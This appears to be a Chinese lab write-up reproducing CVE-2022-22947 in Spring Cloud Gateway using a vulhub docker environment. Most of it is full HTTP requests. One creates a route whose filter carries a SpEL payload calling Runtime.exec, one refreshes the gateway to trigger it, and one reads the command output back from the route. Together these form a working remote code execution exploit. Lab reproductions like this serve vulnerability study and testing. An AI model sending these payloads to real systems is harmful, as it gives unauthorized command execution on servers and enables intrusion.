Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947）
一、环境搭建
代码语言：javascript复制https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
docker-compose up -d
二、漏洞复现
添加一个含有恶意SpEL表达式的路由
POST /actuator/gateway/routes/UzJu HTTP/1.1
Host: ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 324
{
"id": "UzJu",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
如果遇到提示Unsupported Media Type
需要加上Content-Type为application/json即可
代码语言：javascript复制Content-Type: application/json刷新网关触发SpEL表达式
代码语言：javascript复制POST /actuator/gateway/refresh HTTP/1.1
Host: ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 0
随后发送如下请求
代码语言：javascript复制GET /actuator/gateway/routes/UzJu HTTP/1.1
Host: ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 0
